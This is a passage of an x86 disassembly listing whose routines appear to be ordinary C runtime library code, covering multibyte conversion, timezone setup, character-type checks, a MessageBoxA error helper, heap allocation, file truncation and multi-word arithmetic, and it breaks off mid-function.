mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_41E88C
cmp [ebp+arg_8], ebx
jz short loc_41E88C
mov al, [esi]
cmp al, bl
jnz short loc_41E892
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_41E88C
mov [eax], bx
loc_41E88C: ; CODE XREF: sub_41E869+Cj
; sub_41E869+11j ...
xor eax, eax
loc_41E88E: ; CODE XREF: sub_41E869+42j
; sub_41E869+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41E892: ; CODE XREF: sub_41E869+17j
cmp dword_46B6CC, ebx
jnz short loc_41E8AD
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_41E8A8
movzx ax, al
mov [ecx], ax
loc_41E8A8: ; CODE XREF: sub_41E869+36j
; sub_41E869+C0j
push 1
pop eax
jmp short loc_41E88E
; ---------------------------------------------------------------------------
loc_41E8AD: ; CODE XREF: sub_41E869+2Fj
mov ecx, off_437F20
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41E90A
mov eax, dword_43812C
cmp eax, 1
jle short loc_41E8F1
cmp [ebp+arg_8], eax
jl short loc_41E8FB
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_46B6DC
call dword_421064 ; MultiByteToWideChar
test eax, eax
mov eax, dword_43812C
jnz short loc_41E88E
loc_41E8F1: ; CODE XREF: sub_41E869+5Cj
cmp [ebp+arg_8], eax
jb short loc_41E8FB
cmp [esi+1], bl
jnz short loc_41E88E
loc_41E8FB: ; CODE XREF: sub_41E869+61j
; sub_41E869+8Bj ...
mov dword_46B634, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41E88E
; ---------------------------------------------------------------------------
loc_41E90A: ; CODE XREF: sub_41E869+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_46B6DC
call dword_421064 ; MultiByteToWideChar
test eax, eax
jnz loc_41E8A8
jmp short loc_41E8FB
sub_41E869 endp
; =============== S U B R O U T I N E =======================================
sub_41E931 proc near ; CODE XREF: sub_41B605+76p
; sub_41B605+88p ...
arg_0 = dword ptr 4
cmp dword_43812C, 1
jle short loc_41E948
push 8
push [esp+4+arg_0]
call sub_418576
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41E948: ; CODE XREF: sub_41E931+7j
mov eax, [esp+arg_0]
mov ecx, off_437F20
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41E931 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41E960 proc near ; CODE XREF: sub_41B605+797p
; sub_41B605+7E7p
cmp cl, 40h
jnb short loc_41E97A
cmp cl, 20h
jnb short loc_41E970
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_41E970: ; CODE XREF: sub_41E960+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_41E97A: ; CODE XREF: sub_41E960+3j
xor eax, eax
xor edx, edx
retn
sub_41E960 endp
; =============== S U B R O U T I N E =======================================
sub_41E97F proc near ; CODE XREF: sub_41C07B+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_41E9CB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_41E99D
test al, 80h
jz short loc_41E9CB
test al, 2
jnz short loc_41E9CB
loc_41E99D: ; CODE XREF: sub_41E97F+14j
cmp dword ptr [esi+8], 0
jnz short loc_41E9AA
push esi
call sub_41D908
pop ecx
loc_41E9AA: ; CODE XREF: sub_41E97F+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_41E9BA
cmp dword ptr [esi+4], 0
jnz short loc_41E9CB
inc eax
mov [esi], eax
loc_41E9BA: ; CODE XREF: sub_41E97F+30j
test byte ptr [esi+0Ch], 40h
jz short loc_41E9D1
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_41E9D7
inc eax
mov [esi], eax
loc_41E9CB: ; CODE XREF: sub_41E97F+9j
; sub_41E97F+18j ...
or eax, 0FFFFFFFFh
loc_41E9CE: ; CODE XREF: sub_41E97F+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E9D1: ; CODE XREF: sub_41E97F+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_41E9D7: ; CODE XREF: sub_41E97F+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_41E9CE
sub_41E97F endp
; =============== S U B R O U T I N E =======================================
sub_41E9ED proc near ; CODE XREF: sub_41C0B6:loc_41C0F5p
cmp dword_46B8F8, 0
jnz short locret_41EA01
call sub_41EA02
inc dword_46B8F8
locret_41EA01: ; CODE XREF: sub_41E9ED+7j
retn
sub_41E9ED endp
; =============== S U B R O U T I N E =======================================
sub_41EA02 proc near ; CODE XREF: sub_41E9ED+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_46B840, ebp
mov dword_43A998, ebx
mov dword_43A988, ebx
call sub_41FCDD
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_41EB2B
push offset dword_46B848
call dword_421158 ; GetTimeZoneInformation
cmp eax, ebx
jz loc_41EC5A
mov eax, dword_46B848
mov ecx, dword_46B89C
imul eax, 3Ch
cmp word_46B88E, bp
push 1
pop edx
mov dword_43A8F0, eax
mov dword_46B840, edx
jz short loc_41EA79
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43A8F0, eax
loc_41EA79: ; CODE XREF: sub_41EA02+69j
cmp word_46B8E2, bp
jz short loc_41EA9D
mov eax, dword_46B8F0
cmp eax, ebp
jz short loc_41EA9D
sub eax, ecx
mov dword_43A8F4, edx
imul eax, 3Ch
mov dword_43A8F8, eax
jmp short loc_41EAA9
; ---------------------------------------------------------------------------
loc_41EA9D: ; CODE XREF: sub_41EA02+7Ej
; sub_41EA02+87j
mov dword_43A8F4, ebp
mov dword_43A8F8, ebp
loc_41EAA9: ; CODE XREF: sub_41EA02+99j
lea eax, [esp+14h+var_4]
mov esi, dword_421138
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43A97C
push ebx
push offset dword_46B84C
push edi
push dword_46B6DC
call esi ; WideCharToMultiByte
test eax, eax
jz short loc_41EAE6
cmp [esp+14h+var_4], ebp
jnz short loc_41EAE6
mov eax, off_43A97C
and byte ptr [eax+3Fh], 0
jmp short loc_41EAEE
; ---------------------------------------------------------------------------
loc_41EAE6: ; CODE XREF: sub_41EA02+D1j
; sub_41EA02+D7j
mov eax, off_43A97C
and byte ptr [eax], 0
loc_41EAEE: ; CODE XREF: sub_41EA02+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43A980
push ebx
push offset dword_46B8A0
push edi
push dword_46B6DC
call esi ; WideCharToMultiByte
test eax, eax
jz loc_41EC52
cmp [esp+14h+var_4], ebp
jnz loc_41EC52
mov eax, off_43A980
and byte ptr [eax+3Fh], 0
jmp loc_41EC5A
; ---------------------------------------------------------------------------
loc_41EB2B: ; CODE XREF: sub_41EA02+2Dj
cmp byte ptr [esi], 0
jz loc_41EC5A
mov eax, dword_46B8F4
cmp eax, ebp
jz short loc_41EB4E
push eax
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41EC5A
loc_41EB4E: ; CODE XREF: sub_41EA02+139j
push dword_46B8F4
call sub_415C9B
push esi
call sub_415B10
inc eax
push eax
call sub_415BE9
add esp, 0Ch
cmp eax, ebp
mov dword_46B8F4, eax
jz loc_41EC5A
push esi
push eax
call sub_415A20
push 3
push esi
push off_43A97C
call sub_416BE0
mov eax, off_43A97C
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_41EBA3
push 1
inc esi
pop edi
loc_41EBA3: ; CODE XREF: sub_41EA02+19Bj
push esi
call sub_4157F4
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43A8F0, ecx
loc_41EBBA: ; CODE XREF: sub_41EA02+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_41EBC8
cmp al, bl
jl short loc_41EBCB
cmp al, 39h
jg short loc_41EBCB
loc_41EBC8: ; CODE XREF: sub_41EA02+1BCj
inc esi
jmp short loc_41EBBA
; ---------------------------------------------------------------------------
loc_41EBCB: ; CODE XREF: sub_41EA02+1C0j
; sub_41EA02+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_41EC1E
inc esi
push esi
call sub_4157F4
imul eax, 3Ch
pop ecx
mov ecx, dword_43A8F0
add ecx, eax
mov dword_43A8F0, ecx
loc_41EBE9: ; CODE XREF: sub_41EA02+1F2j
mov al, [esi]
cmp al, bl
jl short loc_41EBF6
cmp al, 39h
jg short loc_41EBF6
inc esi
jmp short loc_41EBE9
; ---------------------------------------------------------------------------
loc_41EBF6: ; CODE XREF: sub_41EA02+1EBj
; sub_41EA02+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_41EC1E
inc esi
push esi
call sub_4157F4
pop ecx
mov ecx, dword_43A8F0
add ecx, eax
mov dword_43A8F0, ecx
loc_41EC11: ; CODE XREF: sub_41EA02+21Aj
mov al, [esi]
cmp al, bl
jl short loc_41EC1E
cmp al, 39h
jg short loc_41EC1E
inc esi
jmp short loc_41EC11
; ---------------------------------------------------------------------------
loc_41EC1E: ; CODE XREF: sub_41EA02+1CCj
; sub_41EA02+1F7j ...
cmp edi, ebp
jz short loc_41EC2A
neg ecx
mov dword_43A8F0, ecx
loc_41EC2A: ; CODE XREF: sub_41EA02+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43A8F4, eax
jz short loc_41EC52
push 3
push esi
push off_43A980
call sub_416BE0
mov eax, off_43A980
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_41EC5A
; ---------------------------------------------------------------------------
loc_41EC52: ; CODE XREF: sub_41EA02+10Bj
; sub_41EA02+115j ...
mov eax, off_43A980
and byte ptr [eax], 0
loc_41EC5A: ; CODE XREF: sub_41EA02+40j
; sub_41EA02+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_41EA02 endp
; =============== S U B R O U T I N E =======================================
sub_41EC60 proc near ; CODE XREF: sub_41C0B6+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43A8F4, edi
jnz short loc_41EC74
loc_41EC6D: ; CODE XREF: sub_41EC60+148j
; sub_41EC60+150j ...
xor eax, eax
jmp loc_41EDC0
; ---------------------------------------------------------------------------
loc_41EC74: ; CODE XREF: sub_41EC60+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43A988
jnz short loc_41EC92
cmp eax, dword_43A998
jz loc_41ED94
loc_41EC92: ; CODE XREF: sub_41EC60+24j
cmp dword_46B840, edi
jz loc_41ED6A
movzx ecx, word_46B8EE
push ecx
cmp word_46B8E0, di
movzx ecx, word_46B8EC
push ecx
movzx ecx, word_46B8EA
push ecx
movzx ecx, word_46B8E8
push ecx
jnz short loc_41ECE4
movzx ecx, word_46B8E4
push edi
push ecx
movzx ecx, word_46B8E6
push ecx
movzx ecx, word_46B8E2
push ecx
push eax
push ebx
jmp short loc_41ECF8
; ---------------------------------------------------------------------------
loc_41ECE4: ; CODE XREF: sub_41EC60+65j
movzx ecx, word_46B8E6
push ecx
push edi
movzx ecx, word_46B8E2
push edi
push ecx
push eax
push edi
loc_41ECF8: ; CODE XREF: sub_41EC60+82j
push ebx
call sub_41EE0C
movzx eax, word_46B89A
add esp, 2Ch
cmp word_46B88C, di
push eax
movzx eax, word_46B898
push eax
movzx eax, word_46B896
push eax
movzx eax, word_46B894
push eax
jnz short loc_41ED52
movzx eax, word_46B890
push edi
push eax
movzx eax, word_46B892
push eax
movzx eax, word_46B88E
push eax
push dword ptr [esi+14h]
push ebx
loc_41ED47: ; CODE XREF: sub_41EC60+108j
push edi
call sub_41EE0C
add esp, 2Ch
jmp short loc_41ED94
; ---------------------------------------------------------------------------
loc_41ED52: ; CODE XREF: sub_41EC60+C8j
movzx eax, word_46B892
push eax
push edi
movzx eax, word_46B88E
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_41ED47
; ---------------------------------------------------------------------------
loc_41ED6A: ; CODE XREF: sub_41EC60+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_41EE0C
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_41EE0C
add esp, 58h
loc_41ED94: ; CODE XREF: sub_41EC60+2Cj
; sub_41EC60+F0j
mov edx, dword_43A98C
mov eax, dword_43A99C
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_41EDC4
cmp ecx, edx
jl loc_41EC6D
cmp ecx, eax
jg loc_41EC6D
cmp ecx, edx
jle short loc_41EDD8
cmp ecx, eax
jge short loc_41EDD8
loc_41EDBE: ; CODE XREF: sub_41EC60+166j
; sub_41EC60+16Aj
mov eax, ebx
loc_41EDC0: ; CODE XREF: sub_41EC60+Fj
; sub_41EC60+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41EDC4: ; CODE XREF: sub_41EC60+144j
cmp ecx, eax
jl short loc_41EDBE
cmp ecx, edx
jg short loc_41EDBE
cmp ecx, eax
jle short loc_41EDD8
cmp ecx, edx
jl loc_41EC6D
loc_41EDD8: ; CODE XREF: sub_41EC60+158j
; sub_41EC60+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_41EDFF
xor ecx, ecx
cmp eax, dword_43A990
setnl cl
loc_41EDFB: ; CODE XREF: sub_41EC60+1AAj
mov eax, ecx
jmp short loc_41EDC0
; ---------------------------------------------------------------------------
loc_41EDFF: ; CODE XREF: sub_41EC60+18Ej
xor ecx, ecx
cmp eax, dword_43A9A0
setl cl
jmp short loc_41EDFB
sub_41EC60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE0C proc near ; CODE XREF: sub_41EC60+99p
; sub_41EC60+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_41EEA7
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_41EE37
shl esi, 2
mov eax, dword_43A9A0[esi]
jmp short loc_41EE40
; ---------------------------------------------------------------------------
loc_41EE37: ; CODE XREF: sub_41EE0C+1Ej
shl esi, 2
mov eax, dword_43A9D4[esi]
loc_41EE40: ; CODE XREF: sub_41EE0C+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_41EE7A
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_41EE84
; ---------------------------------------------------------------------------
loc_41EE7A: ; CODE XREF: sub_41EE0C+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_41EE84: ; CODE XREF: sub_41EE0C+6Cj
cmp [ebp+arg_10], 5
jnz short loc_41EEC2
cmp [ebp+arg_8], 0
jnz short loc_41EE98
mov esi, dword_43A9A4[esi]
jmp short loc_41EE9E
; ---------------------------------------------------------------------------
loc_41EE98: ; CODE XREF: sub_41EE0C+82j
mov esi, dword_43A9D8[esi]
loc_41EE9E: ; CODE XREF: sub_41EE0C+8Aj
cmp ecx, esi
jle short loc_41EEC2
sub ecx, 7
jmp short loc_41EEC2
; ---------------------------------------------------------------------------
loc_41EEA7: ; CODE XREF: sub_41EE0C+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_41EEB8
mov ecx, dword_43A9A0[eax*4]
jmp short loc_41EEBF
; ---------------------------------------------------------------------------
loc_41EEB8: ; CODE XREF: sub_41EE0C+A1j
mov ecx, dword_43A9D4[eax*4]
loc_41EEBF: ; CODE XREF: sub_41EE0C+AAj
add ecx, [ebp+arg_18]
loc_41EEC2: ; CODE XREF: sub_41EE0C+7Cj
; sub_41EE0C+94j ...
cmp [ebp+arg_0], 1
jnz short loc_41EEF3
mov eax, [ebp+arg_1C]
mov dword_43A98C, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43A988, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43A990, eax
jmp short loc_41EF48
; ---------------------------------------------------------------------------
loc_41EEF3: ; CODE XREF: sub_41EE0C+BAj
mov eax, [ebp+arg_1C]
mov dword_43A99C, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43A8F8
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43A9A0, eax
jns short loc_41EF2B
add eax, 5265C00h
dec ecx
mov dword_43A9A0, eax
jmp short loc_41EF3C
; ---------------------------------------------------------------------------
loc_41EF2B: ; CODE XREF: sub_41EE0C+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_41EF42
sub eax, edx
inc ecx
mov dword_43A9A0, eax
loc_41EF3C: ; CODE XREF: sub_41EE0C+11Dj
mov dword_43A99C, ecx
loc_41EF42: ; CODE XREF: sub_41EE0C+126j
mov dword_43A998, ebx
loc_41EF48: ; CODE XREF: sub_41EE0C+E5j
pop esi
pop ebx
pop ebp
retn
sub_41EE0C endp
; =============== S U B R O U T I N E =======================================
sub_41EF4C proc near ; CODE XREF: sub_41D05F+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_41EF5D
add esp, 0Ch
retn
sub_41EF4C endp
; =============== S U B R O U T I N E =======================================
sub_41EF5D proc near ; CODE XREF: sub_41EF4C+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_46CB81[eax], cl
jnz short loc_41EF8A
cmp [esp+arg_4], 0
jz short loc_41EF83
movzx eax, word_437F2A[eax*2]
and eax, [esp+arg_4]
jmp short loc_41EF85
; ---------------------------------------------------------------------------
loc_41EF83: ; CODE XREF: sub_41EF5D+16j
xor eax, eax
loc_41EF85: ; CODE XREF: sub_41EF5D+24j
test eax, eax
jnz short loc_41EF8A
retn
; ---------------------------------------------------------------------------
loc_41EF8A: ; CODE XREF: sub_41EF5D+Fj
; sub_41EF5D+2Aj
push 1
pop eax
retn
sub_41EF5D endp
; =============== S U B R O U T I N E =======================================
sub_41EF8E proc near ; CODE XREF: sub_41D7B5+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_46B8FC, ebx
push esi
push edi
jnz short loc_41EFDD
push offset aUser32_dll ; "user32.dll"
call dword_4210C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_41F013
mov esi, dword_4210C4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov dword_46B8FC, eax
jz short loc_41F013
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_46B900, eax
call esi ; GetProcAddress
mov dword_46B904, eax
loc_41EFDD: ; CODE XREF: sub_41EF8E+Bj
mov eax, dword_46B900
test eax, eax
jz short loc_41EFFC
call eax
mov ebx, eax
test ebx, ebx
jz short loc_41EFFC
mov eax, dword_46B904
test eax, eax
jz short loc_41EFFC
push ebx
call eax
mov ebx, eax
loc_41EFFC: ; CODE XREF: sub_41EF8E+56j
; sub_41EF8E+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_46B8FC
loc_41F00F: ; CODE XREF: sub_41EF8E+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41F013: ; CODE XREF: sub_41EF8E+1Cj
; sub_41EF8E+33j
xor eax, eax
jmp short loc_41F00F
sub_41EF8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F017 proc near ; CODE XREF: sub_41D972+22p
; sub_41D972+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_41F038
test esi, esi
jnz short loc_41F032
push 1
pop esi
loc_41F032: ; CODE XREF: sub_41F017+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41F038: ; CODE XREF: sub_41F017+12j
; sub_41F017+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_41F097
mov eax, dword_46CCA8
cmp eax, 3
jnz short loc_41F063
mov eax, [ebp+arg_0]
cmp eax, dword_46CCA0
ja short loc_41F082
push eax
call sub_419011
mov edi, eax
pop ecx
test edi, edi
jnz short loc_41F0AD
jmp short loc_41F082
; ---------------------------------------------------------------------------
loc_41F063: ; CODE XREF: sub_41F017+30j
cmp eax, 2
jnz short loc_41F082
cmp esi, dword_43A164
ja short loc_41F082
mov eax, esi
shr eax, 4
push eax
call sub_419AB4
mov edi, eax
pop ecx
test edi, edi
jnz short loc_41F0C1
loc_41F082: ; CODE XREF: sub_41F017+3Bj
; sub_41F017+4Aj ...
push esi
push 8
push dword_46CCA4
call dword_42114C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_41F0BB
loc_41F097: ; CODE XREF: sub_41F017+26j
cmp dword_46B694, 0
jz short loc_41F0BB
push esi
call sub_418A88
test eax, eax
pop ecx
jz short loc_41F0C4
jmp short loc_41F038
; ---------------------------------------------------------------------------
loc_41F0AD: ; CODE XREF: sub_41F017+48j
push [ebp+arg_0]
loc_41F0B0: ; CODE XREF: sub_41F017+ABj
push 0
push edi
call sub_415390
add esp, 0Ch
loc_41F0BB: ; CODE XREF: sub_41F017+7Ej
; sub_41F017+87j
mov eax, edi
loc_41F0BD: ; CODE XREF: sub_41F017+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41F0C1: ; CODE XREF: sub_41F017+69j
push esi
jmp short loc_41F0B0
; ---------------------------------------------------------------------------
loc_41F0C4: ; CODE XREF: sub_41F017+92j
xor eax, eax
jmp short loc_41F0BD
sub_41F017 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41DA17
loc_41F0C8: ; CODE XREF: sub_41DA17+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_46C940, esi
jle short loc_41F11B
loc_41F0D7: ; CODE XREF: sub_41DA17+1702j
mov eax, dword_46B928
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41F112
test byte ptr [eax+0Ch], 83h
jz short loc_41F0F6
push eax
call sub_415960
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41F0F6
inc edi
loc_41F0F6: ; CODE XREF: sub_41DA17+16D0j
; sub_41DA17+16DCj
cmp esi, 14h
jl short loc_41F112
mov eax, dword_46B928
push dword ptr [eax+esi*4]
call sub_415C9B
mov eax, dword_46B928
pop ecx
and dword ptr [eax+esi*4], 0
loc_41F112: ; CODE XREF: sub_41DA17+16CAj
; sub_41DA17+16E2j
inc esi
cmp esi, dword_46C940
jl short loc_41F0D7
loc_41F11B: ; CODE XREF: sub_41DA17+16BEj
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_41DA17
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F120 proc near ; CODE XREF: sub_41DDF6+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_415B90
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_46CA60
jnb loc_41F255
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_46C960[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_41F255
push 1
push esi
push ebx
call sub_41C447
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_41F25F
push 2
push esi
push ebx
call sub_41C447
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_41F25F
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_41F202
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_415390
push 8000h
push ebx
call sub_41FD5A
add esp, 14h
mov [ebp+arg_4], eax
loc_41F1B6: ; CODE XREF: sub_41F120+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_41F1C1
mov eax, edi
loc_41F1C1: ; CODE XREF: sub_41F120+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_41CCC7
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41F1DF
sub edi, eax
test edi, edi
jle short loc_41F1F5
jmp short loc_41F1B6
; ---------------------------------------------------------------------------
loc_41F1DF: ; CODE XREF: sub_41F120+B5j
cmp dword_46B638, 5
jnz short loc_41F1F2
mov dword_46B634, 0Dh
loc_41F1F2: ; CODE XREF: sub_41F120+C6j
or esi, 0FFFFFFFFh
loc_41F1F5: ; CODE XREF: sub_41F120+BBj
push [ebp+arg_4]
push ebx
call sub_41FD5A
pop ecx
pop ecx
jmp short loc_41F242
; ---------------------------------------------------------------------------
loc_41F202: ; CODE XREF: sub_41F120+71j
jge short loc_41F242
push 0
push [ebp+arg_4]
push ebx
call sub_41C447
push ebx
call sub_41DD62
add esp, 10h
push eax
call dword_421010 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_41F242
mov dword_46B634, 0Dh
call dword_421088 ; RtlGetLastWin32Error
mov dword_46B638, eax
loc_41F242: ; CODE XREF: sub_41F120+E0j
; sub_41F120:loc_41F202j ...
push 0
push [ebp+arg_0]
push ebx
call sub_41C447
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_41F262
; ---------------------------------------------------------------------------
loc_41F255: ; CODE XREF: sub_41F120+1Aj
; sub_41F120+36j
mov dword_46B634, 9
loc_41F25F: ; CODE XREF: sub_41F120+4Ej
; sub_41F120+63j
or eax, 0FFFFFFFFh
loc_41F262: ; CODE XREF: sub_41F120+133j
pop esi
pop ebx
leave
retn
sub_41F120 endp
; =============== S U B R O U T I N E =======================================
sub_41F266 proc near ; CODE XREF: sub_41E261+2Bp
; sub_41E261+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_41F27C
cmp ecx, esi
jnb short loc_41F27F
loc_41F27C: ; CODE XREF: sub_41F266+10j
push 1
pop eax
loc_41F27F: ; CODE XREF: sub_41F266+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_41F266 endp
; =============== S U B R O U T I N E =======================================
sub_41F287 proc near ; CODE XREF: sub_41F340+40p
; sub_41F340+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_41F266
add esp, 0Ch
test eax, eax
jz short loc_41F2B9
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_41F266
add esp, 0Ch
test eax, eax
jz short loc_41F2B9
inc dword ptr [esi+8]
loc_41F2B9: ; CODE XREF: sub_41F287+19j
; sub_41F287+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_41F266
add esp, 0Ch
test eax, eax
jz short loc_41F2D1
inc dword ptr [esi+8]
loc_41F2D1: ; CODE XREF: sub_41F287+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_41F266
add esp, 0Ch
pop edi
pop esi
retn
sub_41F287 endp
; =============== S U B R O U T I N E =======================================
sub_41F2E5 proc near ; CODE XREF: sub_41F340+30p
; sub_41F340+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
